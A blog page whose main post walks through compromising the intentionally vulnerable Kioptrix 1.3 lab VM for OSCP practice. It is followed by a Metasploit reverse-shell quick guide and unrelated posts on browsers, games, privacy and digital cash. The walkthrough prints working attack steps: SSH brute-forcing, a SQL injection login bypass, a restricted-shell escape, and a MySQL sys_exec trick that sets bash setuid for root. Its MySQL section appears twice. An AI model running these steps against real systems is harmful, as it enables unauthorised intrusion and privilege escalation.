Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017

<em>(Pasting only the relevant stuff here.)</em>
 ===================================================== 
| Enumerating Workgroup/Domain on 192.168.0.110 |
 ===================================================== 
[+] Got domain/workgroup name: WORKGROUP

============================================= 
| Nbtstat Information for 192.168.0.110 |
 ============================================= 
Looking up status of 192.168.0.110
 KIOPTRIX4 &lt;00&gt; - B &lt;ACTIVE&gt; Workstation Service
 KIOPTRIX4 &lt;03&gt; - B &lt;ACTIVE&gt; Messenger Service
 KIOPTRIX4 &lt;20&gt; - B &lt;ACTIVE&gt; File Server Service
 ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1d&gt; - B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Browser Service Elections
 WORKGROUP &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Domain/Workgroup Name

MAC Address = 00-00-00-00-00-00

============================== 
| Users on 192.168.0.110 |
 ============================== 
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)
index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)
index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)

user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]

========================================== 
| Share Enumeration on 192.168.0.110 |
 ========================================== 
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]

Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))

Server Comment
 --------- -------
 KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)

Workgroup Master
 --------- -------
 WORKGROUP KIOPTRIX4

[+] Attempting to map shares on 192.168.0.110
//192.168.0.110/print$ Mapping: DENIED, Listing: N/A
//192.168.0.110/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*

===================================================== 
| Password Policy Information for 192.168.0.110 |
 ===================================================== 
[E] Unexpected error from polenum:
Traceback (most recent call last):
 File "/usr/bin/polenum", line 33, in &lt;module&gt;
 from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr
ImportError: cannot import name dcerpc_v4
[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 0

S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)

enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: john
Password: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this instead:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:
bash -p

It should drop you into a root shell!
cd /root

cat congrats.txt
It described the situation perfectly:
"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script that changes users.

Instead of this line:
select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

  Ø bash -p

It should drop you into a root shell!

cd /root

cat congrats.txt

Root obtained. Mission complete!

 

Quick Metasploit Guide

metasploit photoThese are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.

Use Kali Linux for all the following instructions.

Prep:
Ensure postgresql is running.

$&gt; /etc/init.d/postgresql start

Set postgres to start on boot so you don’t have to worry about it again:
$&gt; sudo update-rc.d postgresql enable

From the command line, fire up the Metasploit console:
$&gt; msfconsole

Search for exploits related to what you are interested in:
msf&gt; search smb

Or, be more specific:
msf&gt; search name:smb type:exploit platform:windows

Or, in Kali, use searchsploit (from regular command line, outside of MSF):
$&gt; searchsploit smb

Once you find an exploit you want to use, use it:
msf&gt; use exploit/windows/smb_hack

Then set a payload:
msf&gt; set PAYLOAD windows/shell/reverse_tcp

See what options are set:
msf&gt; show options

Set options as needed:

LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)

msf&gt; set LHOST 192.168.0.x

RHOST is the IP of the victim
msf&gt; set RHOST 192.168.1.x

Default port is 80, but choose one if you wish:
msf&gt; set RPORT 8081

Run the exploit:
msf&gt; exploit

If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:
ls

dir

pwd

id

Photos by Christiaan008,

Just In Time, the Brave Browser Becomes My Default

Last night I saw a respected security professional I follow on Twitter mention the Brave web browser, and how good he thought the mobile version is. Brave was started by the Mozilla Project co-founder Brandon Eich, and is based on Chromium, the open-source base that Google Chrome is constructed upon.

Today, I caught wind that Chrome is soon going to prevent you from doing things such as disabling its DRM management feature called Widevine. The problem with this is summarized here:

…a single browser may now require two different DRM plugins to play all DRM content. These plugins have their own security issues, but unlike with the Flash vulnerabilities, security researchers are banned from looking for them, due to Section 1201 of the Digital Millennium Copyright Act (DMCA). That means malicious hackers, who already engage in other criminal activities, may freely take advantage of all the vulnerabilities they find in these DRM plugins before companies discover them on their own.

In short, because of the closed nature of the DMCA, we end users are at risk unnecessarily, and we will soon have no ability to disable this plugin should we wish to do so.

Enter The Brave

Brave offers a browser that works on all platforms (Windows, Mac, Linux) and on mobile. It blocks ads by default, blocks malware, and is lean and fast. Putting user privacy and security at the forefront, along with speed, this thing is a powerhouse as it forces https on websites and prevents malware-serving advertisement networks from invading your workspace.

But the difference is the paradigm shift in supporting advertisers, as opposed to simply blocking them out completely:

Brave intends to keep 15% of ad revenue for itself, pay content publishers 55%, ad partners 15% and also give 15% to the browser users, who can in turn donate to bloggers and other providers of web content through micropayments.

I have yet to figure out how or if that will work, exactly, and it doesn’t seem to be fully impemented in the browser yet, but it seems like a great way to solve the elephant-in-the-room problem the Internet faces today: how to earn money and keep users safe at the same time, so that they don’t need to run ad blockers and anti-tracking plugins?

Stay tuned for more info as I learn it, and as I figure out Brave.

Tech Savvy Family: Best Computer Games For All Of You

Computer technology has come a long way over the last decades. It wasn’t long ago that having a PC in your home was seen as an extravagance, today we all seem to have handheld devices, and with Apple products on the market, there is a stream of laptops, mobiles, and tablets. Some houses have a laptop for each of the members. It has been the world that grew enormous, really fast.

So, we accept that tech is here, and it is here to stay. Now we need to work out how to get everyone together in the living room and to start socializing, instead of staring at their personal device. We have some of the best games for the whole family, so check them out below.

We’ll start off with the PC as that is where computing all began. One of the hot games was World of Warcraft, and now there is a pretty great version the family can all get involved with World of Warcraft: Mists of Pandaria.  Ok, so we admit there may be a few of you thinking “seriously, this is the best you’ve got, ’ but this is a great fun game which even the youngest members of your family can enjoy.  It might be worth investing in a couple of computer screens for this. Mike from GamingBuff has published an exclusive guide about the best gaming monitors which could give you some ace ideas for other games too.

Heading over to the coolest family console on earth, the Wii is still going strong, even the early version. You can get together and play sports, dance yourself crazy around the living room, go bowling without even leaving the house. The Wii bought the family together and got us laughing over one computer, and we don’t think Nintendo have ever made such an excellent machine. The graphics are clumsy, but that is part of the charm! Get everyone away from the Apple and onto the wii!

Xbox offers up the Just Dance series, providing you have Kinect you can play this game with your whole family. It gets you moving too so can be fun for older members of the house who could do with a little exercise. There is a host of dance moves from modern day to classics from the Dirty Dancing movie; you may need to consider your talent before you start flinging your arms in the air, though! You will also find other interactive games like this, including Guitar Hero. Noisy but fun!

Of course, Mario Kart is probably one of the most loved games amongst the computer generation. There is something about the lovable plumber that gets us all going; even the annoying music becomes a chirpy ditty once you have got into the game. While it may not be so familiar with older members of the family, anyone under the age of 50 is probably going to enjoy themselves, sometimes for hours!

Make sure you take lots of rests when you are playing computer games. You remember the old saying; you’ll get square eyes!

How Private Is Your Internet Use

There’s a school of thought out there that says internet privacy is nothing but a fantasy. And on one level, this is true. The leaks revealed by Edward Snowden showed that if the powers to be really want to know what you’re doing online, they’ll have no trouble looking you up. But most people don’t really get flagged up on the government’s radar. Still, it’s not just terrorists and the like who need to be concerned about internet privacy. It can affect individuals, too.

Leaving a Trail

If you’re involved at all in marketing or the like, you’ll know that there are vast amounts of data available to you. If you’re not involved directly, then you should be aware that advertisers have amazingly detailed information about, well, you. The majority of websites you visit will place a cookie in your browser that’ll follow you from one click to the next.

In the future, this information will almost certainly be able to be used to create a web of your history – and if that falls into the wrong hands, then…tough! The two worst offenders – though they happily admit it – are Google and Facebook, who record just about everything you do and sell this information on to marketers, who are then able to create highly specific ads tailored just for you.

Paying More For The Privilege

The web of YOUR LIFE that is created isn’t just used by others to make money off the back of your browsing habits, it can actively cost you money. How? Well, if you’ve been searching for, say, ‘cheap flights to New York’, and visit a website that has an attractive price but don’t book it, you might return later on and find that the price has mysteriously shot up a little. They know you’re already looking for those tickets, so they try and make more money off you.

Tricks and Tips

They are ways to get around this. One simple way is to use incognito mode when you’re browsing for things you might by or which you’ve searched for in the past. There are also benefits to using a VPN. Take a look at those listed on securethoughts.com and you’ll be able to hide your location, which makes it much more difficult for websites to build up a data block on your browser characteristics (and also helps you get around geo-blocked sites!). It’s akin to being anonymous online, which is getting more and more difficult. If you’re really concerned about the data, you can also use a service like http://suicidemachine.org/ and get rid of all your social media sites forever.

What’s On Your Phone?

It’s not just on our laptops that we need to be concerned about internet privacy. Your smartphone apps can make you life more efficient and entertaining, but you might want to think about what data you’re handing over just by having the app on your phone. Many track your location even when you’re not using it and have access to all your phone contacts. That’s a lot of unnecessary info they’re taking from you!

The Decline of Cash

There are plenty of Sci-Fi movies that depict a world in which everything is controlled by a single piece of technology. All transactions and communications are made through high-tech devices that once seemed far out of reach. These days, it’s starting to look more familiar. We already have smartphones that do most things for us, and a move towards completely digital currency doesn’t seem that far away.

Only eight percent of the world’s currency is in cash form. This change is happening for a number of reasons but primarily because it is just more efficient. International bank transfers can be completed in under ten minutes, and personal transfers will appear in your bank account almost immediately.

Removing physical money completely could also help to reduce some crimes. Muggings and thefts, for example, would be a lot more difficult if you couldn’t access any of the money without a pin number or fingerprint.

New technologies are paving the way for the digital payment age and cash is fast declining. Some of these technologies may be familiar, and you probably use some of them already, but there are others that you may not be aware of.

Contactless Payments

Contactless payments have taken off in a big way over the last few years. Most bank cards that are issued come with the feature. Although it is more efficient that cash payment, it offers less security because you do not need a pin number.

This is being dealt with in the form of contactless payments on smartphones. Fingerprint scanners are becoming more commonplace and when combined with contactless technology, you get an entirely safe payment method that only you can use. The only problem being that if you lose your phone, you’ve also lost your wallet as well.

Cryptocurrency

You may have heard of one of the most popular cryptocurrencies, Bitcoin. It made headlines when it was linked to the selling of illegal goods on the dark web. But Bitcoin isn’t the only cryptocurrency around, and they are not just used for criminal activity. Click here for more information on exactly how cryptocurrency works.  

Cryptocurrency itself is perfectly legal and is a good alternative for people that don’t want to use their bank details online. Lots of major companies including Amazon and Virgin Atlantic are now accepting cryptocurrency.

The Dangers of Digital Money

Unfortunately, as the world evolves, its criminals evolve with it. In recent years there has been stories of thefts from contactless cards. It is possible to set up card reading equipment and make transactions by walking close enough to somebody who has a contactless card in their pocket.

Cybercrime is also on the rise and governments are struggling to keep up with criminals. Ddos attacks have been used to bring down the systems of some of the biggest governments in the world. They work by flooding a network with huge amounts of traffic, crashing them completely. If all of our money was stored digitally, then an attack like this could disrupt the entire global financial system.

So, embrace the new technology, but be aware of it’s downfalls. And maybe keep a bit of cash under the mattress just in case.